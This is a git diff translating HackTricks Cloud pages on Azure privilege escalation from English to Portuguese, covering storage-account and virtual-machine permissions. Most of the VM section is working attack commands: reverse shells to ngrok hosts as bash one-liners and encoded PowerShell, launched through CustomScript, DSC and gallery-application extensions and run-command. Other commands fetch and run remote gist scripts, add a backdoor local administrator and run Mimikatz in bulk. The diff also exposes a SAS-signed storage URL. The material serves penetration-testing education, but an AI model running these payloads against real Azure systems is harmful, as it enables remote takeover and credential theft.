modificação maliciosa do conteúdo da conta de armazenamento. ```bash az storage account local-user regenerate-password \ - --account-name \ - --resource-group \ - --name +--account-name \ +--resource-group \ +--name ``` - -To access Azure Blob Storage via SFTP using a local user via SFTP you can (you can also use ssh key to connect): - +Para acessar o Azure Blob Storage via SFTP usando um usuário local via SFTP, você pode (você também pode usar uma chave ssh para se conectar): ```bash sftp @.blob.core.windows.net #regenerated-password ``` - ### Microsoft.Storage/storageAccounts/restoreBlobRanges/action, Microsoft.Storage/storageAccounts/blobServices/containers/read, Microsoft.Storage/storageAccounts/read && Microsoft.Storage/storageAccounts/listKeys/action -With this permissions an attacker can restore a deleted container by specifying its deleted version ID or undelete specific blobs within a container, if they were previously soft-deleted. This privilege escalation could allow an attacker to recover sensitive data that was meant to be permanently deleted, potentially leading to unauthorized access. - +Com essas permissões, um atacante pode restaurar um contêiner excluído especificando seu ID de versão excluída ou restaurar blobs específicos dentro de um contêiner, se eles foram previamente excluídos de forma suave. Essa escalada de privilégio poderia permitir que um atacante recuperasse dados sensíveis que deveriam ser permanentemente excluídos, potencialmente levando a acesso não autorizado. ```bash #Restore the soft deleted container az storage container restore \ - --account-name \ - --name \ - --deleted-version +--account-name \ +--name \ +--deleted-version #Restore the soft deleted blob az storage blob undelete \ - --account-name \ - --container-name \ - --name "fileName.txt" +--account-name \ +--container-name \ +--name "fileName.txt" ``` - ### Microsoft.Storage/storageAccounts/fileServices/shares/restore/action && Microsoft.Storage/storageAccounts/read -With these permissions, an attacker can restore a deleted Azure file share by specifying its deleted version ID. This privilege escalation could allow an attacker to recover sensitive data that was meant to be permanently deleted, potentially leading to unauthorized access. - +Com essas permissões, um atacante pode restaurar um compartilhamento de arquivo do Azure excluído especificando seu ID de versão excluída. Essa elevação de privilégio pode permitir que um atacante recupere dados sensíveis que deveriam ter sido excluídos permanentemente, potencialmente levando a acesso não autorizado. ```bash az storage share-rm restore \ - --storage-account \ - --name \ - --deleted-version +--storage-account \ +--name \ +--deleted-version ``` +## Outras permissões interessantes (TODO) -## Other interesting looking permissions (TODO) - -- Microsoft.Storage/storageAccounts/blobServices/containers/blobs/manageOwnership/action: Changes ownership of the blob -- Microsoft.Storage/storageAccounts/blobServices/containers/blobs/modifyPermissions/action: Modifies permissions of the blob -- Microsoft.Storage/storageAccounts/blobServices/containers/blobs/runAsSuperUser/action: Returns the result of the blob command +- Microsoft.Storage/storageAccounts/blobServices/containers/blobs/manageOwnership/action: Altera a propriedade do blob +- Microsoft.Storage/storageAccounts/blobServices/containers/blobs/modifyPermissions/action: Modifica as permissões do blob +- Microsoft.Storage/storageAccounts/blobServices/containers/blobs/runAsSuperUser/action: Retorna o resultado do comando do blob - Microsoft.Storage/storageAccounts/blobServices/containers/blobs/immutableStorage/runAsSuperUser/action -## References +## Referências - [https://learn.microsoft.com/en-us/azure/role-based-access-control/permissions/storage#microsoftstorage](https://learn.microsoft.com/en-us/azure/role-based-access-control/permissions/storage#microsoftstorage) - [https://learn.microsoft.com/en-us/azure/storage/blobs/secure-file-transfer-protocol-support](https://learn.microsoft.com/en-us/azure/storage/blobs/secure-file-transfer-protocol-support) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-virtual-machines-and-network-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-virtual-machines-and-network-privesc.md index 6d8ba6e74..ed1e19596 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-virtual-machines-and-network-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-virtual-machines-and-network-privesc.md @@ -1,10 +1,10 @@ -# Az - Virtual Machines & Network Privesc +# Az - Máquinas Virtuais & Privesc de Rede {{#include ../../../banners/hacktricks-training.md}} -## VMS & Network +## VMS & Rede -For more info about Azure Virtual Machines and Network check: +Para mais informações sobre Máquinas Virtuais e Rede do Azure, consulte: {{#ref}} ../az-services/vms/ @@ -12,14 +12,13 @@ For more info about Azure Virtual Machines and Network check: ### **`Microsoft.Compute/virtualMachines/extensions/write`** -This permission allows to execute extensions in virtual machines which allow to **execute arbitrary code on them**.\ -Example abusing custom extensions to execute arbitrary commands in a VM: +Esta permissão permite executar extensões em máquinas virtuais que permitem **executar código arbitrário nelas**.\ +Exemplo de abuso de extensões personalizadas para executar comandos arbitrários em uma VM: {{#tabs }} {{#tab name="Linux" }} -- Execute a revers shell - +- Execute um shell reverso ```bash # Prepare the rev shell echo -n 'bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/13215 0>&1' | base64 @@ -27,120 +26,108 @@ YmFzaCAtaSAgPiYgL2Rldi90Y3AvMi50Y3AuZXUubmdyb2suaW8vMTMyMTUgMD4mMQ== # Execute rev shell az vm extension set \ - --resource-group \ - --vm-name \ - --name CustomScript \ - --publisher Microsoft.Azure.Extensions \ - --version 2.1 \ - --settings '{}' \ - --protected-settings '{"commandToExecute": "nohup echo YmFzaCAtaSAgPiYgL2Rldi90Y3AvMi50Y3AuZXUubmdyb2suaW8vMTMyMTUgMD4mMQ== | base64 -d | bash &"}' +--resource-group \ +--vm-name \ +--name CustomScript \ +--publisher Microsoft.Azure.Extensions \ +--version 2.1 \ +--settings '{}' \ +--protected-settings '{"commandToExecute": "nohup echo YmFzaCAtaSAgPiYgL2Rldi90Y3AvMi50Y3AuZXUubmdyb2suaW8vMTMyMTUgMD4mMQ== | base64 -d | bash &"}' ``` - -- Execute a script located on the internet - +- Execute um script localizado na internet ```bash az vm extension set \ - --resource-group rsc-group> \ - --vm-name \ - --name CustomScript \ - --publisher Microsoft.Azure.Extensions \ - --version 2.1 \ - --settings '{"fileUris": ["https://gist.githubusercontent.com/carlospolop/8ce279967be0855cc13aa2601402fed3/raw/72816c3603243cf2839a7c4283e43ef4b6048263/hacktricks_touch.sh"]}' \ - --protected-settings '{"commandToExecute": "sh hacktricks_touch.sh"}' +--resource-group rsc-group> \ +--vm-name \ +--name CustomScript \ +--publisher Microsoft.Azure.Extensions \ +--version 2.1 \ +--settings '{"fileUris": ["https://gist.githubusercontent.com/carlospolop/8ce279967be0855cc13aa2601402fed3/raw/72816c3603243cf2839a7c4283e43ef4b6048263/hacktricks_touch.sh"]}' \ +--protected-settings '{"commandToExecute": "sh hacktricks_touch.sh"}' ``` - {{#endtab }} {{#tab name="Windows" }} -- Execute a reverse shell - +- Execute um shell reverso ```bash # Get encoded reverse shell echo -n '$client = New-Object System.Net.Sockets.TCPClient("7.tcp.eu.ngrok.io",19159);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()' | iconv --to-code UTF-16LE | base64 # Execute it az vm extension set \ - --resource-group \ - --vm-name \ - --name CustomScriptExtension \ - --publisher Microsoft.Compute \ - --version 1.10 \ - --settings '{}' \ - --protected-settings '{"commandToExecute": "powershell.exe -EncodedCommand JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIANwAuAHQAYwBwAC4AZQB1AC4AbgBnAHIAbwBrAC4AaQBvACIALAAxADkAMQA1ADkAKQA7ACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGIAeQB0AGUAcwAgAD0AIAAwAC4ALgA2ADUANQAzADUAfAAlAHsAMAB9ADsAdwBoAGkAbABlACgAKAAkAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkAGEAdABhACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAcwAsADAALAAgACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKABpAGUAeAAgACQAZABhAHQAYQAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAkAHMAZQBuAGQAYgBhAGMAawAyACAAIAA9ACAAJABzAGUAbgBkAGIAYQBjAGsAIAArACAAIgBQAFMAIAAiACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAIgA+ACAAIgA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQA="}' +--resource-group \ +--vm-name \ +--name CustomScriptExtension \ +--publisher Microsoft.Compute \ +--version 1.10 \ +--settings '{}' \ +--protected-settings '{"commandToExecute": "powershell.exe -EncodedCommand JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIANwAuAHQAYwBwAC4AZQB1AC4AbgBnAHIAbwBrAC4AaQBvACIALAAxADkAMQA1ADkAKQA7ACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGIAeQB0AGUAcwAgAD0AIAAwAC4ALgA2ADUANQAzADUAfAAlAHsAMAB9ADsAdwBoAGkAbABlACgAKAAkAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkAGEAdABhACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAcwAsADAALAAgACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKABpAGUAeAAgACQAZABhAHQAYQAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAkAHMAZQBuAGQAYgBhAGMAawAyACAAIAA9ACAAJABzAGUAbgBkAGIAYQBjAGsAIAArACAAIgBQAFMAIAAiACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAIgA+ACAAIgA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQA="}' ``` - -- Execute reverse shell from file - +- Executar shell reverso a partir de arquivo ```bash az vm extension set \ - --resource-group \ - --vm-name \ - --name CustomScriptExtension \ - --publisher Microsoft.Compute \ - --version 1.10 \ - --settings '{"fileUris": ["https://gist.githubusercontent.com/carlospolop/33b6d1a80421694e85d96b2a63fd1924/raw/d0ef31f62aaafaabfa6235291e3e931e20b0fc6f/ps1_rev_shell.ps1"]}' \ - --protected-settings '{"commandToExecute": "powershell.exe -ExecutionPolicy Bypass -File ps1_rev_shell.ps1"}' +--resource-group \ +--vm-name \ +--name CustomScriptExtension \ +--publisher Microsoft.Compute \ +--version 1.10 \ +--settings '{"fileUris": ["https://gist.githubusercontent.com/carlospolop/33b6d1a80421694e85d96b2a63fd1924/raw/d0ef31f62aaafaabfa6235291e3e931e20b0fc6f/ps1_rev_shell.ps1"]}' \ +--protected-settings '{"commandToExecute": "powershell.exe -ExecutionPolicy Bypass -File ps1_rev_shell.ps1"}' ``` +Você também pode executar outras cargas úteis como: `powershell net users new_user Welcome2022. /add /Y; net localgroup administrators new_user /add` -You could also execute other payloads like: `powershell net users new_user Welcome2022. /add /Y; net localgroup administrators new_user /add` - -- Reset password using the VMAccess extension - +- Redefinir a senha usando a extensão VMAccess ```powershell # Run VMAccess extension to reset the password $cred=Get-Credential # Username and password to reset (if it doesn't exist it'll be created). "Administrator" username is allowed to change the password Set-AzVMAccessExtension -ResourceGroupName "" -VMName "" -Name "myVMAccess" -Credential $cred ``` - {{#endtab }} {{#endtabs }} -It's also possible to abuse well-known extensions to execute code or perform privileged actions inside the VMs: +Também é possível abusar de extensões bem conhecidas para executar código ou realizar ações privilegiadas dentro das VMs:
-VMAccess extension - -This extension allows to modify the password (or create if it doesn't exist) of users inside Windows VMs. +Extensão VMAccess +Esta extensão permite modificar a senha (ou criar se não existir) de usuários dentro de VMs Windows. ```powershell # Run VMAccess extension to reset the password $cred=Get-Credential # Username and password to reset (if it doesn't exist it'll be created). "Administrator" username is allowed to change the password Set-AzVMAccessExtension -ResourceGroupName "" -VMName "" -Name "myVMAccess" -Credential $cred ``` -
DesiredConfigurationState (DSC) -This is a **VM extensio**n that belongs to Microsoft that uses PowerShell DSC to manage the configuration of Azure Windows VMs. Therefore, it can be used to **execute arbitrary commands** in Windows VMs through this extension: - +Esta é uma **extensão de VM** que pertence à Microsoft e utiliza PowerShell DSC para gerenciar a configuração das VMs Windows do Azure. Portanto, pode ser usada para **executar comandos arbitrários** em VMs Windows através desta extensão: ```powershell # Content of revShell.ps1 Configuration RevShellConfig { - Node localhost { - Script ReverseShell { - GetScript = { @{} } - SetScript = { - $client = New-Object System.Net.Sockets.TCPClient('attacker-ip',attacker-port); - $stream = $client.GetStream(); - [byte[]]$bytes = 0..65535|%{0}; - while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){ - $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes, 0, $i); - $sendback = (iex $data 2>&1 | Out-String ); - $sendback2 = $sendback + 'PS ' + (pwd).Path + '> '; - $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2); - $stream.Write($sendbyte, 0, $sendbyte.Length) - } - $client.Close() - } - TestScript = { return $false } - } - } +Node localhost { +Script ReverseShell { +GetScript = { @{} } +SetScript = { +$client = New-Object System.Net.Sockets.TCPClient('attacker-ip',attacker-port); +$stream = $client.GetStream(); +[byte[]]$bytes = 0..65535|%{0}; +while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){ +$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes, 0, $i); +$sendback = (iex $data 2>&1 | Out-String ); +$sendback2 = $sendback + 'PS ' + (pwd).Path + '> '; +$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2); +$stream.Write($sendbyte, 0, $sendbyte.Length) +} +$client.Close() +} +TestScript = { return $false } +} +} } RevShellConfig -OutputPath .\Output @@ -148,95 +135,91 @@ RevShellConfig -OutputPath .\Output $resourceGroup = 'dscVmDemo' $storageName = 'demostorage' Publish-AzVMDscConfiguration ` - -ConfigurationPath .\revShell.ps1 ` - -ResourceGroupName $resourceGroup ` - -StorageAccountName $storageName ` - -Force +-ConfigurationPath .\revShell.ps1 ` +-ResourceGroupName $resourceGroup ` +-StorageAccountName $storageName ` +-Force # Apply DSC to VM and execute rev shell $vmName = 'myVM' Set-AzVMDscExtension ` - -Version '2.76' ` - -ResourceGroupName $resourceGroup ` - -VMName $vmName ` - -ArchiveStorageAccountName $storageName ` - -ArchiveBlobName 'revShell.ps1.zip' ` - -AutoUpdate ` - -ConfigurationName 'RevShellConfig' +-Version '2.76' ` +-ResourceGroupName $resourceGroup ` +-VMName $vmName ` +-ArchiveStorageAccountName $storageName ` +-ArchiveBlobName 'revShell.ps1.zip' ` +-AutoUpdate ` +-ConfigurationName 'RevShellConfig' ``` -
Hybrid Runbook Worker -This is a VM extension that would allow to execute runbooks in VMs from an automation account. For more information check the [Automation Accounts service](../az-services/az-automation-account/). +Esta é uma extensão de VM que permitiria executar runbooks em VMs a partir de uma conta de automação. Para mais informações, consulte o [serviço de Contas de Automação](../az-services/az-automation-account/).
### `Microsoft.Compute/disks/write, Microsoft.Network/networkInterfaces/join/action, Microsoft.Compute/virtualMachines/write, (Microsoft.Compute/galleries/applications/write, Microsoft.Compute/galleries/applications/versions/write)` -These are the required permissions to **create a new gallery application and execute it inside a VM**. Gallery applications can execute anything so an attacker could abuse this to compromise VM instances executing arbitrary commands. +Estas são as permissões necessárias para **criar um novo aplicativo de galeria e executá-lo dentro de uma VM**. Aplicativos de galeria podem executar qualquer coisa, então um atacante poderia abusar disso para comprometer instâncias de VM executando comandos arbitrários. -The last 2 permissions might be avoided by sharing the application with the tenant. +As últimas 2 permissões podem ser evitadas compartilhando o aplicativo com o locatário. -Exploitation example to execute arbitrary commands: +Exemplo de exploração para executar comandos arbitrários: {{#tabs }} {{#tab name="Linux" }} - ```bash # Create gallery (if the isn't any) az sig create --resource-group myResourceGroup \ - --gallery-name myGallery --location "West US 2" +--gallery-name myGallery --location "West US 2" # Create application container az sig gallery-application create \ - --application-name myReverseShellApp \ - --gallery-name myGallery \ - --resource-group \ - --os-type Linux \ - --location "West US 2" +--application-name myReverseShellApp \ +--gallery-name myGallery \ +--resource-group \ +--os-type Linux \ +--location "West US 2" # Create app version with the rev shell ## In Package file link just add any link to a blobl storage file az sig gallery-application version create \ - --version-name 1.0.2 \ - --application-name myReverseShellApp \ - --gallery-name myGallery \ - --location "West US 2" \ - --resource-group \ - --package-file-link "https://testing13242erih.blob.core.windows.net/testing-container/asd.txt?sp=r&st=2024-12-04T01:10:42Z&se=2024-12-04T09:10:42Z&spr=https&sv=2022-11-02&sr=b&sig=eMQFqvCj4XLLPdHvnyqgF%2B1xqdzN8m7oVtyOOkMsCEY%3D" \ - --install-command "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'" \ - --remove-command "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'" \ - --update-command "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'" +--version-name 1.0.2 \ +--application-name myReverseShellApp \ +--gallery-name myGallery \ +--location "West US 2" \ +--resource-group \ +--package-file-link "https://testing13242erih.blob.core.windows.net/testing-container/asd.txt?sp=r&st=2024-12-04T01:10:42Z&se=2024-12-04T09:10:42Z&spr=https&sv=2022-11-02&sr=b&sig=eMQFqvCj4XLLPdHvnyqgF%2B1xqdzN8m7oVtyOOkMsCEY%3D" \ +--install-command "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'" \ +--remove-command "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'" \ +--update-command "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'" # Install the app in a VM to execute the rev shell ## Use the ID given in the previous output az vm application set \ - --resource-group \ - --name \ - --app-version-ids /subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Compute/galleries/myGallery/applications/myReverseShellApp/versions/1.0.2 \ - --treat-deployment-as-failure true +--resource-group \ +--name \ +--app-version-ids /subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Compute/galleries/myGallery/applications/myReverseShellApp/versions/1.0.2 \ +--treat-deployment-as-failure true ``` - {{#endtab }} {{#tab name="Windows" }} - ```bash # Create gallery (if the isn't any) az sig create --resource-group \ - --gallery-name myGallery --location "West US 2" +--gallery-name myGallery --location "West US 2" # Create application container az sig gallery-application create \ - --application-name myReverseShellAppWin \ - --gallery-name myGallery \ - --resource-group \ - --os-type Windows \ - --location "West US 2" +--application-name myReverseShellAppWin \ +--gallery-name myGallery \ +--resource-group \ +--os-type Windows \ +--location "West US 2" # Get encoded reverse shell echo -n '$client = New-Object System.Net.Sockets.TCPClient("7.tcp.eu.ngrok.io",19159);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()' | iconv --to-code UTF-16LE | base64 @@ -245,59 +228,55 @@ echo -n '$client = New-Object System.Net.Sockets.TCPClient("7.tcp.eu.ngrok.io",1 ## In Package file link just add any link to a blobl storage file export encodedCommand="JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIANwAuAHQAYwBwAC4AZQB1AC4AbgBnAHIAbwBrAC4AaQBvACIALAAxADkAMQA1ADkAKQA7ACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGIAeQB0AGUAcwAgAD0AIAAwAC4ALgA2ADUANQAzADUAfAAlAHsAMAB9ADsAdwBoAGkAbABlACgAKAAkAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkAGEAdABhACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAcwAsADAALAAgACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKABpAGUAeAAgACQAZABhAHQAYQAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAkAHMAZQBuAGQAYgBhAGMAawAyACAAIAA9ACAAJABzAGUAbgBkAGIAYQBjAGsAIAArACAAIgBQAFMAIAAiACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAIgA+ACAAIgA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQA=" az sig gallery-application version create \ - --version-name 1.0.0 \ - --application-name myReverseShellAppWin \ - --gallery-name myGallery \ - --location "West US 2" \ - --resource-group \ - --package-file-link "https://testing13242erih.blob.core.windows.net/testing-container/asd.txt?sp=r&st=2024-12-04T01:10:42Z&se=2024-12-04T09:10:42Z&spr=https&sv=2022-11-02&sr=b&sig=eMQFqvCj4XLLPdHvnyqgF%2B1xqdzN8m7oVtyOOkMsCEY%3D" \ - --install-command "powershell.exe -EncodedCommand $encodedCommand" \ - --remove-command "powershell.exe -EncodedCommand $encodedCommand" \ - --update-command "powershell.exe -EncodedCommand $encodedCommand" +--version-name 1.0.0 \ +--application-name myReverseShellAppWin \ +--gallery-name myGallery \ +--location "West US 2" \ +--resource-group \ +--package-file-link "https://testing13242erih.blob.core.windows.net/testing-container/asd.txt?sp=r&st=2024-12-04T01:10:42Z&se=2024-12-04T09:10:42Z&spr=https&sv=2022-11-02&sr=b&sig=eMQFqvCj4XLLPdHvnyqgF%2B1xqdzN8m7oVtyOOkMsCEY%3D" \ +--install-command "powershell.exe -EncodedCommand $encodedCommand" \ +--remove-command "powershell.exe -EncodedCommand $encodedCommand" \ +--update-command "powershell.exe -EncodedCommand $encodedCommand" # Install the app in a VM to execute the rev shell ## Use the ID given in the previous output az vm application set \ - --resource-group \ - --name deleteme-win4 \ - --app-version-ids /subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Compute/galleries/myGallery/applications/myReverseShellAppWin/versions/1.0.0 \ - --treat-deployment-as-failure true +--resource-group \ +--name deleteme-win4 \ +--app-version-ids /subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Compute/galleries/myGallery/applications/myReverseShellAppWin/versions/1.0.0 \ +--treat-deployment-as-failure true ``` - {{#endtab }} {{#endtabs }} ### `Microsoft.Compute/virtualMachines/runCommand/action` -This is the most basic mechanism Azure provides to **execute arbitrary commands in VMs:** +Este é o mecanismo mais básico que o Azure fornece para **executar comandos arbitrários em VMs:** {{#tabs }} {{#tab name="Linux" }} - ```bash # Execute rev shell az vm run-command invoke \ - --resource-group \ - --name \ - --command-id RunShellScript \ - --scripts @revshell.sh +--resource-group \ +--name \ +--command-id RunShellScript \ +--scripts @revshell.sh # revshell.sh file content echo "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'" > revshell.sh ``` - {{#endtab }} {{#tab name="Windows" }} - ```bash # The permission allowing this is Microsoft.Compute/virtualMachines/runCommand/action # Execute a rev shell az vm run-command invoke \ - --resource-group Research \ - --name juastavm \ - --command-id RunPowerShellScript \ - --scripts @revshell.ps1 +--resource-group Research \ +--name juastavm \ +--command-id RunPowerShellScript \ +--scripts @revshell.ps1 ## Get encoded reverse shell echo -n '$client = New-Object System.Net.Sockets.TCPClient("7.tcp.eu.ngrok.io",19159);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()' | iconv --to-code UTF-16LE | base64 @@ -314,62 +293,57 @@ echo "powershell.exe -EncodedCommand $encodedCommand" > revshell.ps1 Import-module MicroBurst.psm1 Invoke-AzureRmVMBulkCMD -Script Mimikatz.ps1 -Verbose -output Output.txt ``` - {{#endtab }} {{#endtabs }} ### `Microsoft.Compute/virtualMachines/login/action` -This permission allows a user to **login as user into a VM via SSH or RDP** (as long as Entra ID authentication is enabled in the VM). +Esta permissão permite que um usuário **faça login como usuário em uma VM via SSH ou RDP** (desde que a autenticação do Entra ID esteja habilitada na VM). -Login via **SSH** with **`az ssh vm --name --resource-group `** and via **RDP** with your **regular Azure credentials**. +Login via **SSH** com **`az ssh vm --name --resource-group `** e via **RDP** com suas **credenciais regulares do Azure**. ### `Microsoft.Compute/virtualMachines/loginAsAdmin/action` -This permission allows a user to **login as user into a VM via SSH or RDP** (as long as Entra ID authentication is enabled in the VM). +Esta permissão permite que um usuário **faça login como usuário em uma VM via SSH ou RDP** (desde que a autenticação do Entra ID esteja habilitada na VM). -Login via **SSH** with **`az ssh vm --name --resource-group `** and via **RDP** with your **regular Azure credentials**. +Login via **SSH** com **`az ssh vm --name --resource-group `** e via **RDP** com suas **credenciais regulares do Azure**. ## `Microsoft.Resources/deployments/write`, `Microsoft.Network/virtualNetworks/write`, `Microsoft.Network/networkSecurityGroups/write`, `Microsoft.Network/networkSecurityGroups/join/action`, `Microsoft.Network/publicIPAddresses/write`, `Microsoft.Network/publicIPAddresses/join/action`, `Microsoft.Network/networkInterfaces/write`, `Microsoft.Compute/virtualMachines/write, Microsoft.Network/virtualNetworks/subnets/join/action`, 